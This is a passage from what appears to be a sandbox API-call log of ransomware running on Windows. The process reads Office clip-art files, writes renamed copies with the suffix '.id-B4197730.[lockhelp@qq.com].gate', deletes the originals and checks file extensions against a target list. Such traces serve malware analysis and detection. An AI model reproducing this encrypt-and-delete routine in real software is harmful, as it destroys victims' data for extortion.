"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0282.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.050] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.050] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.051] GetLastError () returned 0x0 [0282.051] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x212c, lpOverlapped=0x0) returned 1 [0282.052] WriteFile (in: hFile=0x4a4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2130, lpOverlapped=0x0) returned 1 [0282.053] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.053] WriteFile (in: hFile=0x4a4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.054] SetEndOfFile (hFile=0x4a4) returned 1 [0282.054] CloseHandle (hObject=0x4a4) returned 1 [0282.054] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.055] SetEndOfFile (hFile=0x3d0) returned 1 [0282.167] CloseHandle (hObject=0x3d0) returned 1 [0282.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0282.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.168] lstrlenW (lpString=".doc") returned 4 [0282.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString=".docx") returned 5 [0282.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.168] lstrlenW (lpString=".pdf") returned 4 [0282.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString=".xls") returned 4 [0282.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.168] lstrlenW (lpString=".xlsx") returned 5 [0282.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.168] lstrlenW (lpString=".ppt") returned 4 [0282.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.168] lstrlenW (lpString=".zip") returned 4 [0282.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.168] lstrlenW (lpString=".rar") returned 4 [0282.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString=".bz2") returned 4 [0282.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString=".7z") returned 3 [0282.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.169] lstrlenW (lpString=".dbf") returned 4 [0282.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.169] lstrlenW (lpString=".1cd") returned 4 [0282.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.169] lstrlenW (lpString=".jpg") returned 4 [0282.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.169] lstrlenW (lpString=".doc") returned 4 [0282.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString=".docx") returned 5 [0282.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.169] lstrlenW (lpString=".pdf") returned 4 [0282.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString=".xls") returned 4 [0282.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.169] lstrlenW (lpString=".xlsx") returned 5 [0282.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.169] lstrlenW (lpString=".ppt") returned 4 [0282.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.169] lstrlenW (lpString=".zip") returned 4 [0282.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.170] lstrlenW (lpString=".rar") returned 4 [0282.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.170] lstrlenW (lpString=".bz2") returned 4 [0282.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.170] lstrlenW (lpString=".7z") returned 3 [0282.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.170] lstrlenW (lpString=".dbf") returned 4 [0282.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.170] lstrlenW (lpString=".1cd") returned 4 [0282.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0282.170] lstrlenW (lpString=".jpg") returned 4 [0282.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.170] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.170] lstrlenW (lpString="AN04323_.WMF") returned 12 [0282.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.171] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2492) returned 1 [0282.171] CloseHandle (hObject=0x3d0) returned 1 [0282.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0282.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.172] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.172] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0282.172] GetLastError () returned 0x0 [0282.172] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0282.270] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0282.271] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.271] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.271] SetEndOfFile (hFile=0x404) returned 1 [0282.271] CloseHandle (hObject=0x404) returned 1 [0282.272] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.272] SetEndOfFile (hFile=0x3d0) returned 1 [0282.274] CloseHandle (hObject=0x3d0) returned 1 [0282.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0282.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.275] lstrlenW (lpString=".doc") returned 4 [0282.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString=".docx") returned 5 [0282.276] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.276] lstrlenW (lpString=".pdf") returned 4 [0282.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString=".xls") returned 4 [0282.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.276] lstrlenW (lpString=".xlsx") returned 5 [0282.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.276] lstrlenW (lpString=".ppt") returned 4 [0282.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.276] lstrlenW (lpString=".zip") returned 4 [0282.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.276] lstrlenW (lpString=".rar") returned 4 [0282.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString=".bz2") returned 4 [0282.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString=".7z") returned 3 [0282.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.276] lstrlenW (lpString=".dbf") returned 4 [0282.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.276] lstrlenW (lpString=".1cd") returned 4 [0282.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.276] lstrlenW (lpString=".jpg") returned 4 [0282.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.276] lstrlenW (lpString=".doc") returned 4 [0282.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.276] lstrlenW (lpString=".docx") returned 5 [0282.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.277] lstrlenW (lpString=".pdf") returned 4 [0282.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.277] lstrlenW (lpString=".xls") returned 4 [0282.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.277] lstrlenW (lpString=".xlsx") returned 5 [0282.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.277] lstrlenW (lpString=".ppt") returned 4 [0282.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.277] lstrlenW (lpString=".zip") returned 4 [0282.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.277] lstrlenW (lpString=".rar") returned 4 [0282.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.277] lstrlenW (lpString=".bz2") returned 4 [0282.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.277] lstrlenW (lpString=".7z") returned 3 [0282.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.277] lstrlenW (lpString=".dbf") returned 4 [0282.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.277] lstrlenW (lpString=".1cd") returned 4 [0282.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0282.277] lstrlenW (lpString=".jpg") returned 4 [0282.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.277] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.277] lstrlenW (lpString="AN04355_.WMF") returned 12 [0282.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.278] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3228) returned 1 [0282.278] CloseHandle (hObject=0x3d0) returned 1 [0282.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0282.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.278] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.279] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0282.279] GetLastError () returned 0x0 [0282.279] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0282.496] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xca0, lpOverlapped=0x0) returned 1 [0282.497] ReadFile (in: hFile=0x3d0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.497] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.497] SetEndOfFile (hFile=0x404) returned 1 [0282.497] CloseHandle (hObject=0x404) returned 1 [0282.498] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.498] SetEndOfFile (hFile=0x3d0) returned 1 [0282.500] CloseHandle (hObject=0x3d0) returned 1 [0282.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0282.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.501] lstrlenW (lpString=".doc") returned 4 [0282.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.501] lstrlenW (lpString=".docx") returned 5 [0282.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.501] lstrlenW (lpString=".pdf") returned 4 [0282.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.502] lstrlenW (lpString=".xls") returned 4 [0282.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.502] lstrlenW (lpString=".xlsx") returned 5 [0282.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.502] lstrlenW (lpString=".ppt") returned 4 [0282.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.502] lstrlenW (lpString=".zip") returned 4 [0282.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.502] lstrlenW (lpString=".rar") returned 4 [0282.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.502] lstrlenW (lpString=".bz2") returned 4 [0282.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.502] lstrlenW (lpString=".7z") returned 3 [0282.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.502] lstrlenW (lpString=".dbf") returned 4 [0282.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.502] lstrlenW (lpString=".1cd") returned 4 [0282.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.502] lstrlenW (lpString=".jpg") returned 4 [0282.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.503] lstrlenW (lpString=".doc") returned 4 [0282.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString=".docx") returned 5 [0282.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.503] lstrlenW (lpString=".pdf") returned 4 [0282.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString=".xls") returned 4 [0282.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.503] lstrlenW (lpString=".xlsx") returned 5 [0282.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.503] lstrlenW (lpString=".ppt") returned 4 [0282.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.503] lstrlenW (lpString=".zip") returned 4 [0282.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.503] lstrlenW (lpString=".rar") returned 4 [0282.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString=".bz2") returned 4 [0282.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString=".7z") returned 3 [0282.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.503] lstrlenW (lpString=".dbf") returned 4 [0282.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.504] lstrlenW (lpString=".1cd") returned 4 [0282.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0282.504] lstrlenW (lpString=".jpg") returned 4 [0282.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.504] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.504] lstrlenW (lpString="AN04385_.WMF") returned 12 [0282.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.504] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5004) returned 1 [0282.504] CloseHandle (hObject=0x3d0) returned 1 [0282.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0282.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 